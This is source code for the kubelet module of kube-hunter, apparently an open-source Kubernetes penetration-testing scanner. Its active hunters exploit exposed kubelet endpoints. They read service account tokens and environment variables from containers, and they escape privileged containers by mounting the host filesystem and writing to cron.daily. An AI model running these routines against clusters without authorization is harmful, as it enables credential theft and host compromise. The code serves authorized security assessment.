Files
kube-hunter/kube_hunter/modules/hunting/kubelet.py
danielsagiandLiz Rice 05094a9415 Fix lint comments (#414)
* removed unused get query to port forward

* moved existing code to comments

Co-authored-by: Liz Rice <liz@lizrice.com>
2020-11-28 17:16:57 +02:00

1149 lines
44 KiB
Python

import json
import logging
import time
from enum import Enum
import re
import requests
import urllib3
import uuid
from kube_hunter.conf import get_config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
from kube_hunter.core.types import (
Hunter,
ActiveHunter,
KubernetesCluster,
Kubelet,
InformationDisclosure,
RemoteCodeExec,
AccessRisk,
)
from kube_hunter.modules.discovery.kubelet import (
ReadOnlyKubeletEvent,
SecureKubeletEvent,
)
logger = logging.getLogger(__name__)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class ExposedPodsHandler(Vulnerability, Event):
"""An attacker could view sensitive information about pods that are
bound to a Node using the /pods endpoint"""
def __init__(self, pods):
Vulnerability.__init__(
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052"
)
self.pods = pods
self.evidence = f"count: {len(self.pods)}"
class AnonymousAuthEnabled(Vulnerability, Event):
"""The kubelet is misconfigured, potentially allowing secure access to all requests on the kubelet,
without the need to authenticate"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Anonymous Authentication",
category=RemoteCodeExec,
vid="KHV036",
)
class ExposedContainerLogsHandler(Vulnerability, Event):
"""Output logs from a running container are using the exposed /containerLogs endpoint"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Container Logs",
category=InformationDisclosure,
vid="KHV037",
)
class ExposedRunningPodsHandler(Vulnerability, Event):
"""Outputs a list of currently running pods,
and some of their metadata, which can reveal sensitive information"""
def __init__(self, count):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Running Pods",
category=InformationDisclosure,
vid="KHV038",
)
self.count = count
self.evidence = f"{self.count} running pods"
class ExposedExecHandler(Vulnerability, Event):
"""An attacker could run arbitrary commands on a container"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Exec On Container",
category=RemoteCodeExec,
vid="KHV039",
)
class ExposedRunHandler(Vulnerability, Event):
"""An attacker could run an arbitrary command inside a container"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Run Inside Container",
category=RemoteCodeExec,
vid="KHV040",
)
class ExposedPortForwardHandler(Vulnerability, Event):
"""An attacker could set port forwarding rule on a pod"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Port Forward",
category=RemoteCodeExec,
vid="KHV041",
)
class ExposedAttachHandler(Vulnerability, Event):
"""Opens a websocket that could enable an attacker
to attach to a running container"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Attaching To Container",
category=RemoteCodeExec,
vid="KHV042",
)
class ExposedHealthzHandler(Vulnerability, Event):
"""By accessing the open /healthz handler,
an attacker could get the cluster health state without authenticating"""
def __init__(self, status):
Vulnerability.__init__(
self,
component=Kubelet,
name="Cluster Health Disclosure",
category=InformationDisclosure,
vid="KHV043",
)
self.status = status
self.evidence = f"status: {self.status}"
class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
"""A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
can leverage the existing privileged containers identified to damage the host and potentially \
the whole cluster"""
def __init__(self, exposed_existing_privileged_containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
category=AccessRisk,
vid="KHV051",
)
self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
class PrivilegedContainers(Vulnerability, Event):
"""A Privileged container exist on a node
could expose the node/cluster to unwanted root operations"""
def __init__(self, containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Privileged Container",
category=AccessRisk,
vid="KHV044",
)
self.containers = containers
self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
class ExposedSystemLogs(Vulnerability, Event):
"""System logs are exposed from the /logs endpoint on the kubelet"""
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed System Logs",
category=InformationDisclosure,
vid="KHV045",
)
class ExposedKubeletCmdline(Vulnerability, Event):
"""Commandline flags that were passed to the kubelet can be obtained from the pprof endpoints"""
def __init__(self, cmdline):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Kubelet Cmdline",
category=InformationDisclosure,
vid="KHV046",
)
self.cmdline = cmdline
self.evidence = f"cmdline: {self.cmdline}"
class KubeletHandlers(Enum):
# GET
PODS = "pods"
# GET
CONTAINERLOGS = "containerLogs/{pod_namespace}/{pod_id}/{container_name}"
# GET
RUNNINGPODS = "runningpods"
# GET -> WebSocket
EXEC = "exec/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1"
# POST, For legacy reasons, it uses different query param than exec
RUN = "run/{pod_namespace}/{pod_id}/{container_name}?cmd={cmd}"
# GET/POST
PORTFORWARD = "portForward/{pod_namespace}/{pod_id}?port={port}"
# GET -> WebSocket
ATTACH = "attach/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1"
# GET
LOGS = "logs/{path}"
# GET
PPROF_CMDLINE = "debug/pprof/cmdline"
@handler.subscribe(ReadOnlyKubeletEvent)
class ReadOnlyKubeletPortHunter(Hunter):
"""Kubelet Readonly Ports Hunter
Hunts specific endpoints on open ports in the readonly Kubelet server
"""
def __init__(self, event):
self.event = event
self.path = f"http://{self.event.host}:{self.event.port}"
self.pods_endpoint_data = ""
def get_k8s_version(self):
config = get_config()
logger.debug("Passive hunter is attempting to find kubernetes version")
metrics = requests.get(f"{self.path}/metrics", timeout=config.network_timeout).text
for line in metrics.split("\n"):
if line.startswith("kubernetes_build_info"):
for info in line[line.find("{") + 1 : line.find("}")].split(","):
k, v = info.split("=")
if k == "gitVersion":
return v.strip('"')
# returns list of tuples of Privileged container and their pod.
def find_privileged_containers(self):
logger.debug("Trying to find privileged containers and their pods")
privileged_containers = []
if self.pods_endpoint_data:
for pod in self.pods_endpoint_data["items"]:
for container in pod["spec"]["containers"]:
if container.get("securityContext", {}).get("privileged"):
privileged_containers.append((pod["metadata"]["name"], container["name"]))
return privileged_containers if len(privileged_containers) > 0 else None
def get_pods_endpoint(self):
config = get_config()
logger.debug("Attempting to find pods endpoints")
response = requests.get(f"{self.path}/pods", timeout=config.network_timeout)
if "items" in response.text:
return response.json()
def check_healthz_endpoint(self):
config = get_config()
r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
return r.text if r.status_code == 200 else False
def execute(self):
self.pods_endpoint_data = self.get_pods_endpoint()
k8s_version = self.get_k8s_version()
privileged_containers = self.find_privileged_containers()
healthz = self.check_healthz_endpoint()
if k8s_version:
self.publish_event(
K8sVersionDisclosure(version=k8s_version, from_endpoint="/metrics", extra_info="on Kubelet")
)
if privileged_containers:
self.publish_event(PrivilegedContainers(containers=privileged_containers))
if healthz:
self.publish_event(ExposedHealthzHandler(status=healthz))
if self.pods_endpoint_data:
self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data["items"]))
@handler.subscribe(SecureKubeletEvent)
class SecureKubeletPortHunter(Hunter):
"""Kubelet Secure Ports Hunter
Hunts specific endpoints on an open secured Kubelet
"""
class DebugHandlers:
""" all methods will return the handler name if successful """
def __init__(self, path, pod, session=None):
self.path = path + ("/" if not path.endswith("/") else "")
self.session = session if session else requests.Session()
self.pod = pod
# outputs logs from a specific container
def test_container_logs(self):
config = get_config()
logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
pod_namespace=self.pod["namespace"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
)
return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
# need further investigation on websockets protocol for further implementation
def test_exec_container(self):
config = get_config()
# opens a stream to connect to using a web socket
headers = {"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
exec_url = self.path + KubeletHandlers.EXEC.value.format(
pod_namespace=self.pod["namespace"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
cmd="",
)
return (
"/cri/exec/"
in self.session.get(
exec_url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
).text
)
# need further investigation on websockets protocol for further implementation
def test_port_forward(self):
pass
# TODO: what to return?
# Example starting code:
#
# config = get_config()
# headers = {
# "Upgrade": "websocket",
# "Connection": "Upgrade",
# "Sec-Websocket-Key": "s",
# "Sec-Websocket-Version": "13",
# "Sec-Websocket-Protocol": "SPDY",
# }
# pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
# pod_namespace=self.pod["namespace"],
# pod_id=self.pod["name"],
# port=80,
# )
# executes one command and returns output
def test_run_container(self):
config = get_config()
run_url = self.path + KubeletHandlers.RUN.value.format(
pod_namespace="test",
pod_id="test",
container_name="test",
cmd="",
)
# if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
return status_code == requests.codes.NOT_FOUND
# returns list of currently running pods
def test_running_pods(self):
config = get_config()
pods_url = self.path + KubeletHandlers.RUNNINGPODS.value
r = self.session.get(pods_url, verify=False, timeout=config.network_timeout)
return r.json() if r.status_code == 200 else False
# need further investigation on the differences between attach and exec
def test_attach_container(self):
config = get_config()
# headers={"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
attach_url = self.path + KubeletHandlers.ATTACH.value.format(
pod_namespace=self.pod["namespace"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
cmd="",
)
return (
"/cri/attach/"
in self.session.get(
attach_url,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
).text
)
# checks access to logs endpoint
def test_logs_endpoint(self):
config = get_config()
logs_url = self.session.get(
self.path + KubeletHandlers.LOGS.value.format(path=""),
timeout=config.network_timeout,
).text
return "<pre>" in logs_url
# returns the cmd line used to run the kubelet
def test_pprof_cmdline(self):
config = get_config()
cmd = self.session.get(
self.path + KubeletHandlers.PPROF_CMDLINE.value,
verify=False,
timeout=config.network_timeout,
)
return cmd.text if cmd.status_code == 200 else None
def __init__(self, event):
self.event = event
self.session = requests.Session()
if self.event.secure:
self.session.headers.update({"Authorization": f"Bearer {self.event.auth_token}"})
# self.session.cert = self.event.client_cert
# copy session to event
self.event.session = self.session
self.path = f"https://{self.event.host}:10250"
self.kubehunter_pod = {
"name": "kube-hunter",
"namespace": "default",
"container": "kube-hunter",
}
self.pods_endpoint_data = ""
def get_pods_endpoint(self):
config = get_config()
response = self.session.get(f"{self.path}/pods", verify=False, timeout=config.network_timeout)
if "items" in response.text:
return response.json()
def check_healthz_endpoint(self):
config = get_config()
r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
return r.text if r.status_code == 200 else False
def execute(self):
if self.event.anonymous_auth:
self.publish_event(AnonymousAuthEnabled())
self.pods_endpoint_data = self.get_pods_endpoint()
healthz = self.check_healthz_endpoint()
if self.pods_endpoint_data:
self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data["items"]))
if healthz:
self.publish_event(ExposedHealthzHandler(status=healthz))
self.test_handlers()
def test_handlers(self):
config = get_config()
# if kube-hunter runs in a pod, we test with kube-hunter's pod
pod = self.kubehunter_pod if config.pod else self.get_random_pod()
if pod:
debug_handlers = self.DebugHandlers(self.path, pod, self.session)
try:
# TODO: use named expressions, introduced in python3.8
running_pods = debug_handlers.test_running_pods()
if running_pods:
self.publish_event(ExposedRunningPodsHandler(count=len(running_pods["items"])))
cmdline = debug_handlers.test_pprof_cmdline()
if cmdline:
self.publish_event(ExposedKubeletCmdline(cmdline=cmdline))
if debug_handlers.test_container_logs():
self.publish_event(ExposedContainerLogsHandler())
if debug_handlers.test_exec_container():
self.publish_event(ExposedExecHandler())
if debug_handlers.test_run_container():
self.publish_event(ExposedRunHandler())
if debug_handlers.test_port_forward():
self.publish_event(ExposedPortForwardHandler()) # not implemented
if debug_handlers.test_attach_container():
self.publish_event(ExposedAttachHandler())
if debug_handlers.test_logs_endpoint():
self.publish_event(ExposedSystemLogs())
except Exception:
logger.debug("Failed testing debug handlers", exc_info=True)
# trying to get a pod from default namespace, if doesn't exist, gets a kube-system one
def get_random_pod(self):
if self.pods_endpoint_data:
pods_data = self.pods_endpoint_data["items"]
def is_default_pod(pod):
return pod["metadata"]["namespace"] == "default" and pod["status"]["phase"] == "Running"
def is_kubesystem_pod(pod):
return pod["metadata"]["namespace"] == "kube-system" and pod["status"]["phase"] == "Running"
pod_data = next(filter(is_default_pod, pods_data), None)
if not pod_data:
pod_data = next(filter(is_kubesystem_pod, pods_data), None)
if pod_data:
container_data = pod_data["spec"]["containers"][0]
if container_data:
return {
"name": pod_data["metadata"]["name"],
"container": container_data["name"],
"namespace": pod_data["metadata"]["namespace"],
}
""" Active Hunters """
@handler.subscribe(AnonymousAuthEnabled)
class ProveAnonymousAuth(ActiveHunter):
"""Foothold Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
container abusing the configuration of the kubelet's secure port: authentication-auth=false.
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
def get_request(self, url, verify=False):
config = get_config()
try:
response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url=url, verify=verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
@staticmethod
def has_no_exception(result):
return "Exception: " not in result
@staticmethod
def has_no_error(result):
possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
return not any(error in result for error in possible_errors)
@staticmethod
def has_no_error_nor_exception(result):
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def process_container(self, run_request_url):
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
environment_variables = self.post_request(run_request_url, {"cmd": "env"})
if self.has_no_error_nor_exception(service_account_token):
return {
"result": True,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
return {"result": False}
def execute(self):
pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
# At this point, the following must happen:
# a) we get the data of the running pods
# b) we get a forbidden message because the API server
# has a configuration that denies anonymous attempts despite the kubelet being vulnerable
if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
temp_message = ""
exposed_existing_privileged_containers = list()
for pod_data in pods_data:
pod_namespace = pod_data["metadata"]["namespace"]
pod_id = pod_data["metadata"]["name"]
for container_data in pod_data["spec"]["containers"]:
container_name = container_data["name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
extracted_data = self.process_container(run_request_url)
if extracted_data["result"]:
service_account_token = extracted_data["service_account_token"]
environment_variables = extracted_data["environment_variables"]
temp_message += (
f"\n\nPod namespace: {pod_namespace}"
+ f"\n\nPod ID: {pod_id}"
+ f"\n\nContainer name: {container_name}"
+ f"\n\nService account token: {service_account_token}"
+ f"\nEnvironment variables: {environment_variables}"
)
first_check = container_data.get("securityContext", {}).get("privileged")
first_subset = container_data.get("securityContext", {})
second_subset = first_subset.get("capabilities", {})
data_for_second_check = second_subset.get("add", [])
second_check = "SYS_ADMIN" in data_for_second_check
if first_check or second_check:
exposed_existing_privileged_containers.append(
{
"pod_namespace": pod_namespace,
"pod_id": pod_id,
"container_name": container_name,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
)
if temp_message:
message = "The following containers have been successfully breached." + temp_message
self.event.evidence = f"{message}"
if exposed_existing_privileged_containers:
self.publish_event(
ExposedExistingPrivilegedContainersViaSecureKubeletPort(
exposed_existing_privileged_containers=exposed_existing_privileged_containers
)
)
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
"""Malicious Intent Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can leverage existing privileged containers
exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
such that a process can be started or modified on the host.
"""
def __init__(self, event, seconds_to_wait_for_os_command=1):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
self.number_of_rm_attempts = 5
self.number_of_rmdir_attempts = 5
self.number_of_umount_attempts = 5
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url, verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def clean_attacked_exposed_existing_privileged_container(
self,
run_request_url,
file_system_or_partition,
directory_created,
file_created,
number_of_rm_attempts,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
self.rm_command(
run_request_url,
f"{directory_created}/etc/cron.daily/{file_created}",
number_of_rm_attempts,
seconds_to_wait_for_os_command,
)
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
def check_file_exists(self, run_request_url, file):
file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
if self.check_file_exists(run_request_url, file_to_remove):
for _ in range(number_of_rm_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_file_exists(run_request_url, file_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove file: "
+ file_to_remove
)
return False
def chmod_command(self, run_request_url, permissions, file):
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
def touch_command(self, run_request_url, file_to_create):
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
def attack_exposed_existing_privileged_container(
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
):
if file_name is None:
file_name = "kube-hunter" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_created = self.touch_command(run_request_url, file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
return {"result": True, "file_created": file_name}
self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
return {"result": False}
def check_directory_exists(self, run_request_url, directory):
directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
def rmdir_command(
self,
run_request_url,
directory_to_remove,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
if self.check_directory_exists(run_request_url, directory_to_remove):
for _ in range(number_of_rmdir_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_directory_exists(run_request_url, directory_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove directory: "
+ directory_to_remove
)
return False
def ls_command(self, run_request_url, file_or_directory):
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
def umount_command(
self,
run_request_url,
file_system_or_partition,
directory,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
):
# Note: the logic implemented proved more reliable than using "df"
# command to resolve for mounted systems/partitions.
current_files_and_directories = self.ls_command(run_request_url, directory)
if self.ls_command(run_request_url, directory) == current_files_and_directories:
for _ in range(number_of_umount_attempts):
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html
command_execution_outcome = self.post_request(
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
)
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
if first_check and second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to unmount "
+ file_system_or_partition
+ " at: "
+ directory
)
return False
def mount_command(self, run_request_url, file_system_or_partition, directory):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
def mkdir_command(self, run_request_url, directory_to_create):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
return self.post_request(
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
)
def get_root_values(self, command_line):
for command in command_line.split(" "):
# Check for variable-definition commands as there can be commands which don't define variables.
if "=" in command:
split = command.split("=")
if split[0] == "root":
if len(split) > 2:
# Potential valid scenario: root=LABEL=example
root_value_type = split[1] + "="
root_value = split[2]
return root_value, root_value_type
else:
root_value_type = ""
root_value = split[1]
return root_value, root_value_type
return None, None
def process_exposed_existing_privileged_container(
self,
run_request_url,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
directory_to_create=None,
):
if directory_to_create is None:
directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
# /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
command_line = self.cat_command(run_request_url, "/proc/cmdline")
if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
if len(command_line.split(" ")) > 0:
root_value, root_value_type = self.get_root_values(command_line)
# Move forward only when the "root" variable value was actually defined.
if root_value:
if root_value_type:
file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
else:
file_system_or_partition = root_value
if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
directory_created = self.mkdir_command(run_request_url, directory_to_create)
if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
directory_created = directory_to_create
mounted_file_system_or_partition = self.mount_command(
run_request_url, file_system_or_partition, directory_created
)
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
return {
"result": True,
"file_system_or_partition": file_system_or_partition,
"directory_created": directory_created,
}
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
return {"result": False}
def execute(self, directory_to_create=None, file_name=None):
temp_message = ""
for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
pod_id = exposed_existing_privileged_containers["pod_id"]
container_name = exposed_existing_privileged_containers["container_name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
run_request_url,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
directory_to_create,
)
if is_exposed_existing_privileged_container_privileged["result"]:
file_system_or_partition = is_exposed_existing_privileged_container_privileged[
"file_system_or_partition"
]
directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
# Execute attack attempt: start/modify process in host.
attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
run_request_url,
directory_created,
self.number_of_rm_attempts,
self.seconds_to_wait_for_os_command,
file_name,
)
if attack_successful_on_exposed_privileged_container["result"]:
file_created = attack_successful_on_exposed_privileged_container["file_created"]
self.clean_attacked_exposed_existing_privileged_container(
run_request_url,
file_system_or_partition,
directory_created,
file_created,
self.number_of_rm_attempts,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
)
temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
pod_namespace, pod_id, container_name
)
if temp_message:
message = (
"The following exposed existing privileged containers"
+ " have been successfully abused by starting/modifying a process in the host."
+ temp_message
)
self.event.evidence = f"{message}"
else:
message = (
"The following exposed existing privileged containers"
+ " were not successfully abused by starting/modifying a process in the host."
+ "Keep in mind that attackers might use other methods to attempt to abuse them."
+ temp_message
)
self.event.evidence = f"{message}"
@handler.subscribe(ExposedRunHandler)
class ProveRunHandler(ActiveHunter):
"""Kubelet Run Hunter
Executes uname inside of a random container
"""
def __init__(self, event):
self.event = event
self.base_path = f"https://{self.event.host}:{self.event.port}"
def run(self, command, container):
config = get_config()
run_url = KubeletHandlers.RUN.value.format(
pod_namespace=container["namespace"],
pod_id=container["pod"],
container_name=container["name"],
cmd=command,
)
return self.event.session.post(
f"{self.base_path}/{run_url}",
verify=False,
timeout=config.network_timeout,
).text
def execute(self):
config = get_config()
r = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
)
if "items" in r.text:
pods_data = r.json()["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
if container_data:
output = self.run(
"uname -a",
container={
"namespace": pod_data["metadata"]["namespace"],
"pod": pod_data["metadata"]["name"],
"name": container_data["name"],
},
)
if output and "exited with" not in output:
self.event.evidence = "uname -a: " + output
break
@handler.subscribe(ExposedContainerLogsHandler)
class ProveContainerLogsHandler(ActiveHunter):
"""Kubelet Container Logs Hunter
Retrieves logs from a random container
"""
def __init__(self, event):
self.event = event
protocol = "https" if self.event.port == 10250 else "http"
self.base_url = f"{protocol}://{self.event.host}:{self.event.port}/"
def execute(self):
config = get_config()
pods_raw = self.event.session.get(
self.base_url + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
).text
if "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
if container_data:
container_name = container_data["name"]
output = requests.get(
f"{self.base_url}/"
+ KubeletHandlers.CONTAINERLOGS.value.format(
pod_namespace=pod_data["metadata"]["namespace"],
pod_id=pod_data["metadata"]["name"],
container_name=container_name,
),
verify=False,
timeout=config.network_timeout,
)
if output.status_code == 200 and output.text:
self.event.evidence = f"{container_name}: {output.text}"
return
@handler.subscribe(ExposedSystemLogs)
class ProveSystemLogs(ActiveHunter):
"""Kubelet System Logs Hunter
Retrieves commands from host's system audit
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:{self.event.port}"
def execute(self):
config = get_config()
audit_logs = self.event.session.get(
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
verify=False,
timeout=config.network_timeout,
)
# TODO: add more methods for proving system logs
if audit_logs.status_code == requests.status_codes.codes.OK:
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"
else:
self.event.evidence = "Could not parse system logs"